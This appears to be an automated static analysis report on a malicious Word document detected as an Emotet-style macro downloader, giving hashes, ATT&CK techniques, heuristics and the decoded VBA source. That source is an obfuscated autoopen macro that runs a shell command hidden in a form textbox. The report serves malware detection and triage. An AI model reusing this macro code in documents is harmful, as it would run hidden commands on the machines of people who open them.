Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d0377f68e9799fb7…

MALICIOUS

Office (OLE)

81.8 KB Created: 2018-12-17 22:23:00 Authoring application: Microsoft Office Word First seen: 2019-01-12
MD5: c8bbab3dd38ed573fe33f28ef1cd0c61 SHA-1: c199ef81c0df8132ad3c488d507f4f2596d60485 SHA-256: d0377f68e9799fb777673b2e6f195dd5227b2fdcdcdfd8dd0f3edefa15525e62
292 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1059.003 Windows Command Shell T1204.002 Malicious File

The sample contains VBA macros, including an autoopen macro, which is a common technique for executing malicious code upon opening the document. Heuristics indicate the use of Shell() calls and suspicious invocations of cmd.exe and PowerShell, suggesting the macro is designed to download and execute a second-stage payload. The ClamAV detection ID 'Doc.Malware.Emodldr-6787867-0' further supports its malicious nature.

Heuristics 10

  • ClamAV: Doc.Malware.Emodldr-6787867-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emodldr-6787867-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
          nfJSVzNwZjwwlAWRjkM = 136734516 - zNQlcdwjvDEdwnjToHOw
bnHDvVczr = Array(wuoSsjtUO, ijrSoN, wvdwYYBld, Interaction.Shell(zDhkPobbSoA, wjlHZzAt), YhdGwLK)
   wwcwzNIiMhLFsGwj = bOCbUCHOzshqEqhLKoljiX * Rnd(130117620 / Sin(IBuLhWzuwtOTmjiwViwV)) / Wfd + Int(179735442 - Rnd(264674499 - Tan(48314733) * 281478744 - Cos(uiRKCFDuZTSIvjcumtLb)) / 88793403 * Sin(164194921 / Tan(180738334) / 66276786 / Hex(276035233))) + 75381476 + CStr(3778246) - 164394033 / CLng(333769755) * 15240340 - Fix(131323636 - Hex(306659266) * 25087021 / ChrW(nojkuoKYNPMnZBVapuwOR / 139320344))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoopen()
GNrTmKoz
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/officeDocument/2006/bibliography In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10676 bytes
SHA-256: be9e1f60f34ec306628e972858074c172362da108559b31dc66584c5fcb274a3
Detection
ClamAV: No threats found
Obfuscation or payload: likely
155 of 183 identifiers look randomly generated (e.g. 'AQwMLjlNWblLGXjYKECIrDvj') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "dIwhnVbZsf"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoopen()
GNrTmKoz
End Sub

Attribute VB_Name = "ALQwNVMIw"
Function GNrTmKoz()
On Error Resume Next
   vZZXEcpBTCoaVHFP = VjoGMwSzYMnkfzucLWatzw * Rnd(36772198 / Sin(OwiMnoqDUfaTfEjcGZfQC)) / Wfd + Int(113213799 - Rnd(261283348 - Tan(24062796) * 302317358 - Cos(KkiWrWbGsOSGKkVkPAYbzGnz)) / 257184644 * Sin(170621150 / Tan(125384778) / 271177234 / Hex(205827061))) + 326145104 + CStr(68142359) - 173968912 / CLng(119213902) * 275700908 - Fix(194992997 - Hex(37724650) * 159084644 / ChrW(nDsYMVKzPuuSBniSAEzhjRDl / 179732380))
      DroUHPLQMVjYtRmnKYuMvWv = 340245313 - ZIqPWzGzSRTKvnfGkaJjbK
   dzJaGjwtDuViSda = RXcpYoXoYttYDScdv * Rnd(96638546 / Sin(FFlGkzPTzVhFRwNGZLQjo)) / Wfd + Int(171849795 - Rnd(141205617 - Tan(16630802) * 88138969 - Cos(XqlSsnEsVMfQssJVaSqobZ)) / 273493531 * Sin(79145870 / Tan(18748928) / 120768696 / Hex(205313943))) + 224848378 + CStr(323764330) - 207488756 / CLng(237975298) * 233434507 - Fix(297177067 - Hex(303786339) * 166906032 / ChrW(hicuBYdBaJTYXSzCLZO / 329651941))
      ZPaHVvpcwXzSko = 313540557 - wmCwoltzGLifhXTfbXIPCm
   lmGzjjcSrucHnkJYQTfah = COsHOvHwirVbKzKOivS * Rnd(12906467 / Sin(ZmbfAOwAmrKCLkrHbRh)) / Wfd + Int(69636867 - Rnd(292131505 - Tan(104895629) * 244110824 - Cos(MZJOBokHfBdcRcOjKwszKY)) / 340536305 * Sin(99420024 / Tan(123087322) / 45906554 / Hex(21846095))) + 199647340 + CStr(247499549) - 285611955 / CLng(212134317) * 60312023 - Fix(6940626 - Hex(268064414) * 122833352 / ChrW(EiwzHDXJHPqwCAztXlb / 264807461))
      uvvlFVnVTbcJocbAusH = 6865755 - HDQEblrmlPMiAKnDMChjon
   kKBLoDjwGpjKKLtGfrqUU = DZlUAdzbHuljNIKYStqIb * Rnd(103081254 / Sin(uTGoIzXuvRBGcaUC)) / Wfd + Int(19488209 - Rnd(334338046 - Tan(206390651) * 224088969 - Cos(YawlwHZwiLHnOqAtorbjA)) / 275465860 * Sin(122272411 / Tan(77824582) / 11294989 / Hex(222355487))) + 330617041 + CStr(330467044) - 284261707 / CLng(257571696) * 65141635 - Fix(317478556 - Hex(221334639) * 162487424 / ChrW(sIDMswzRFtTOjTIOHD / 329456049))
      iImjOJbFrBLGpUIllijlC = 160951302 - SiTOiiYCsjnmkVUz
   BBkNZiYALJVuIZhjwi = oZiFsLcdwIqOcdlbu * Rnd(1633594 / Sin(WBhODTJoEIKXUHvRwT)) / Wfd + Int(320591426 - Rnd(288708448 - Tan(12517259) * 319391996 - Cos(crUvsQXwnjiMMHL)) / 201135630 * Sin(246518938 / Tan(233413376) / 151179361 / Hex(162097054))) + 140338591 + CStr(249531593) - 241217512 / CLng(142947423) * 48261035 - Fix(218355017 - Hex(76936579) * 268118372 / ChrW(zISawEWjYQXjKXo / 278818797))
      iKlpLIiXjqGwnLFiqpaMlQC = 267423862 - MSzrLOvfMwBDSmznCMNPkkFS
   wlwLXMaMCnzBHwrQGfIjpH = jFOilzwWTIzirzXrbaf * Rnd(161186757 / Sin(CCQdCOYUXozrNRFIdoNER)) / Wfd + Int(212761748 - Rnd(290912804 - Tan(61420219) * 91502109 - Cos(SinhIJiniDwFik)) / 174604631 * Sin(8211668 / Tan(316613839) / 131839400 / Hex(341420701))) + 281257007 + CStr(191195221) - 210738725 / CLng(112738643) * 231571175 - Fix(326003952 - Hex(248847909) * 123039158 / ChrW(TVKHPBwpjqjoIanCKY / 36467655))
      dQkYJXXmREjWqOUItqq = 218465531 - lUFnLhCsOYZjqqDllzsiKX
   JsOSwinEZPSXiWcwl = vdRYhKYwPQRNODUtSVSb * Rnd(311594881 / Sin(tzdPajqRiIkHqa)) / Wfd + Int(339467032 - Rnd(243419733 - Tan(67577191) * 23743625 - Cos(zPXmMBPDpDGjJlskUuSkoHz)) / 224889722 * Sin(62142203 / Tan(187117603) / 46298710 / Hex(86973022))) + 296934398 + CStr(302975102) - 221541142 / CLng(73198755) * 96996206 - Fix(222633816 - Hex(325532741) * 255905636 / ChrW(KROLfBNbbbVzqiqsTF / 276809285))
      pdjuBKvWvRboFNKdD = 162380003 - GjGhBlPCPrSvcHV
   VtclUNdfGiCNZwXZ = imswjOwzmPhZPV * Rnd(327234731 / Sin(CKmKZmLfjBZbnzBEv)) / Wfd + Int(32142311 - Rnd(18394762 - Tan(224525824) * 220424557 - Cos(offlizwFqMFwWolO)) / 203909661 * Sin(288664444 / Tan(175519980) / 86454478 / Hex(98705175))) + 207058566 + CStr(266908883) - 141864537 / CLng(80154496) * 253420564 - Fix(90808845 - Hex(195005866) * 199679002 / ChrW(TPkrVGfnENjiKNVr / 194711773))
      SjZKHUwJrJZvkSbj = 296962469 - MiSijrnMikVbzVIAKwkIIP
Const wjlHZzAt = 0
   jOHzlalqDlzsNMXQBtwM = DrKhGOOzXcXLviKBVn * Rnd(155368419 / Sin(kpAzTzCRVzvtHIfWwRiLXt)) / Wfd + Int(209739587 - Rnd(62495228 - Tan(175573391) * 216514132 - Cos(hNPjGaXmNqNOHMwbZ)) / 213806160 * Sin(196456522 / Tan(28815460) / 258273496 / Hex(336472916))) + 256854069 + CStr(27360651) - 27233909 / CLng(55583143) * 77364079 - Fix(116456794 - Hex(286901616) * 64121840 / ChrW(WmhVEGRpSkVSjjDXzaRGdwc / 201319085))
      aLczOFvDzrbZqsVHrKURj = 45378615 - BkMraDOZKDnivprEia
   HBACIQUvwSwWoHB = jVKiDfFjCYfzbSizZJQ * Rnd(39548331 / Sin(vuMtwCMRQHHEdImsUEcwQAj)) / Wfd + Int(248622708 - Rnd(150193728 - Tan(134119092) * 197495820 - Cos(wzfrvioazkGcsSlRYszKw)) / 37135351 * Sin(33970036 / Tan(36740701) / 263403030 / Hex(64202960))) + 186714639 + CStr(306317211) - 68861493 / CLng(178752195) * 151209121 - Fix(185127708 - Hex(163924436) * 189452603 / ChrW(ScQJvULvjzzDwPSNd / 148126491))
      ntsZDlFtQWNiDQzSoH = 235754160 - pkKVIoGifrNtFE
   CvSwvXqQOmjiQERXRzBMpiin = XZozcshLpSKaCVFq * Rnd(239778239 / Sin(vwQRHRrisifJTRfmXwB)) / Wfd + Int(124483441 - Rnd(250322894 - Tan(300317507) * 13368195 - Cos(bmGzPiwVEHiruGRXFw)) / 1778335 * Sin(336624954 / Tan(211817172) / 211254540 / Hex(332691743))) + 302674924 + CStr(309198739) - 103657871 / CLng(326476901) * 42696392 - Fix(267998780 - Hex(115294799) * 275224934 / ChrW(utqVKuPOlJEMio / 291611282))
      hiNntCqvoMCzjqjnR = 212918978 - AQwMLjlNWblLGXjYKECIrDvj
   jbizwmhiGijimv = WChkDXaKLrjzTddfRVDN * Rnd(304637024 / Sin(RXhWnnaKfckBRqVMwiIQS)) / Wfd + Int(38772012 - Rnd(107840714 - Tan(274680315) * 95156725 - Cos(dDOIjhklkKDhjn)) / 233920989 * Sin(11507780 / Tan(80696153) / 22918776 / Hex(84411109))) + 119614011 + CStr(83253091) - 254214969 / CLng(65375447) * 33645453 - Fix(155770138 - Hex(161918563) * 30613190 / ChrW(SLGrHnKXvWtCQfFLJQuV / 219440344))
      tMcwnqtJlKdHTYDLZ = 321603108 - LGqKKBjjwvGijwBStOLz
   BazFqwJdPjRCVDWF = kFfCPKzoJXqIiTDSrND * Rnd(9780162 / Sin(PRlwvvnSAdPZumdM)) / Wfd + Int(71406810 - Rnd(252259132 - Tan(105402598) * 16347186 - Cos(hYSVjNOjdqSDNUouG)) / 131873007 * Sin(100284366 / Tan(62292095) / 148190987 / Hex(58944906))) + 304142899 + CStr(181501213) - 229620040 / CLng(267164774) * 214801425 - Fix(171976444 - Hex(41332285) * 216420035 / ChrW(nzvisSaOiZiWnwVhRpR / 31400751))
      AttYiqmrjodwPfERm = 312932191 - fFhjnmGfNHPlocImFBJ
zDhkPobbSoA = dIwhnVbZsf.TextBox1.Text + zsVKDCSu + liZJMhH + uNijt + FbksUz + GJzOzJ + PjraqOrv + JjYGBfwv + mKDOO + zdAinrwb + kasSB
   hYIfLRrAqPoFThwJnuFa = GMjjjUKAvPboOErdziEHLYhN * Rnd(326865225 / Sin(IDwfYIsjaLYwczjAvzNRFcF)) / Wfd + Int(212867175 - Rnd(273026089 - Tan(76958253) * 1841318 - Cos(liiVjnLGBPrSvfdfEw)) / 41104557 * Sin(45958424 / Tan(175852512) / 73015766 / Hex(194890637))) + 223258207 + CStr(2878701) - 210842046 / CLng(274191303) * 207698173 - Fix(332336143 - Hex(120762225) * 278948017 / ChrW(IZzshCPomZzfIuWa / 336438863))
      bqFtsaEwVDwjIjZiKWh = 243017395 - BjRUBLzZGJPjZqzHOhXokhMq
   QcTtzacCnjzASkGX = jDqNAGlazDPNlFqOVuP * Rnd(223828012 / Sin(QuGcLvvhXLtiAcKuwPViT)) / Wfd + Int(339478765 - Rnd(153870790 - Tan(80572716) * 269929318 - Cos(iImwqrptPJklpL)) / 277795077 * Sin(297174494 / Tan(174873077) / 285534562 / Hex(145922018))) + 235948547 + CStr(246604047) - 191453800 / CLng(211333192) * 128574314 - Fix(161863757 - Hex(199679565) * 301056957 / ChrW(PQWunJRmuaVCoGMBKLaKsaZj / 276993053))
      QBcTYMzqdzmqwft = 24991831 - AVTviQiJNDjHprqDitQJbBJE
   hMRTHGhXhHnKiRL = kMJHTPcsjMhkbhC * Rnd(38055265 / Sin(BPCCDUIBYJmjznAmLHHjipRj)) / Wfd + Int(164908538 - Rnd(236233182 - Tan(304420805) * 163530350 - Cos(vzFhLjCJChrBFuFpJkZjwQau)) / 165728559 * Sin(114199625 / Tan(82358537) / 323827798 / Hex(122112162))) + 195975159 + CStr(130263577) - 173100014 / CLng(234925984) * 30083937 - Fix(186280376 - Hex(65181143) * 223180313 / ChrW(nGwcIZQfcuMtPz / 136646031))
      zfZKIuUFrYNRRBSvIHwTiVH = 3813360 - tpSlYOTFrFzkXttltlkM
   bZLsiojYSZSnofGEBsAUU = zkAjrLwfDdHrTwzskOzQRzV * Rnd(288436845 / Sin(ikQlOPjNiZarvzXZnVpfwLJ)) / Wfd + Int(30346453 - Rnd(61701422 - Tan(51750463) * 253751964 - Cos(DcBPIrIbitpNYilWYA)) / 273583678 * Sin(111084424 / Tan(168193166) / 279099350 / Hex(194259017))) + 184970303 + CStr(208102531) - 79487321 / CLng(311904850) * 151189932 - Fix(175116400 - Hex(78639105) * 186464556 / ChrW(dMJGXLjDowrujcH / 116896865))
      nfJSVzNwZjwwlAWRjkM = 136734516 - zNQlcdwjvDEdwnjToHOw
bnHDvVczr = Array(wuoSsjtUO, ijrSoN, wvdwYYBld, Interaction.Shell(zDhkPobbSoA, wjlHZzAt), YhdGwLK)
   wwcwzNIiMhLFsGwj = bOCbUCHOzshqEqhLKoljiX * Rnd(130117620 / Sin(IBuLhWzuwtOTmjiwViwV)) / Wfd + Int(179735442 - Rnd(264674499 - Tan(48314733) * 281478744 - Cos(uiRKCFDuZTSIvjcumtLb)) / 88793403 * Sin(164194921 / Tan(180738334) / 66276786 / Hex(276035233))) + 75381476 + CStr(3778246) - 164394033 / CLng(333769755) * 15240340 - Fix(131323636 - Hex(306659266) * 25087021 / ChrW(nojkuoKYNPMnZBVapuwOR / 139320344))
      HUrEivWzXENtoOB = 338873002 - QoLLzClzDYNZwoQShY
   HDTlwPfsdsETUlLiiACHwrS = LsAuriIJpctmiJEYwiuha * Rnd(275489707 / Sin(bwfQsVMwQljaGPlAzkuir)) / Wfd + Int(290315450 - Rnd(163719090 - Tan(6347590) * 165522330 - Cos(dJOwkJVGZvLNQodicBujwIMh)) / 314321831 * Sin(322344050 / Tan(208019747) / 77418359 / Hex(302532146))) + 229922195 + CStr(167410763) - 203434079 / CLng(286849530) * 318221763 - Fix(284753851 - Hex(20395297) * 236078294 / ChrW(AZFzqpplUFAMPXGqzV / 318435569))
      AniJMqWjWTzauJAVizSX = 294108978 - cZKjTBYBzWGDSNuv
   MaiYqnIlOzziEFhqPT = jZVAwmNRpAAzjNFLj * Rnd(311140325 / Sin(YKTVbpzIjGnEtz)) / Wfd + Int(73116832 - Rnd(73864629 - Tan(316999977) * 280428216 - Cos(fmdWSlNzRQwuzvPvENE)) / 303800266 * Sin(77894082 / Tan(338443739) / 200637730 / Hex(213618044))) + 72154890 + CStr(14193628) - 316081826 / CLng(47280654) * 2604489 - Fix(139470339 - Hex(16875830) * 61792504 / ChrW(KPOunAjNrirhMpIiEG / 328575311))
      wNjHzLQpGzvOpZnjBAQNUjU = 113782427 - wwMncwOERYwiGzcjuHtmds
   TiPbBqwGdwAujh = aOjJdkkTDvjnOQI * Rnd(272619857 / Sin(fTHlcOlklGoGjAvkdo)) / Wfd + Int(337341285 - Rnd(315252423 - Tan(199808008) * 80072521 - Cos(jOLjSCipVIjPMZVwz)) / 324939483 * Sin(165818887 / Tan(287565417) / 201564844 / Hex(313322310))) + 84970121 + CStr(130368823) - 304588271 / CLng(263995654) * 22536479 - Fix(242265823 - Hex(186984181) * 59746987 / ChrW(pTCYXQiTiCQTzDliKHqzwFU / 249479469))
      BrmdzzNMPrwKBwhRdroOcO = 110145505 - FsdmJukwQkVYvpi
End Function

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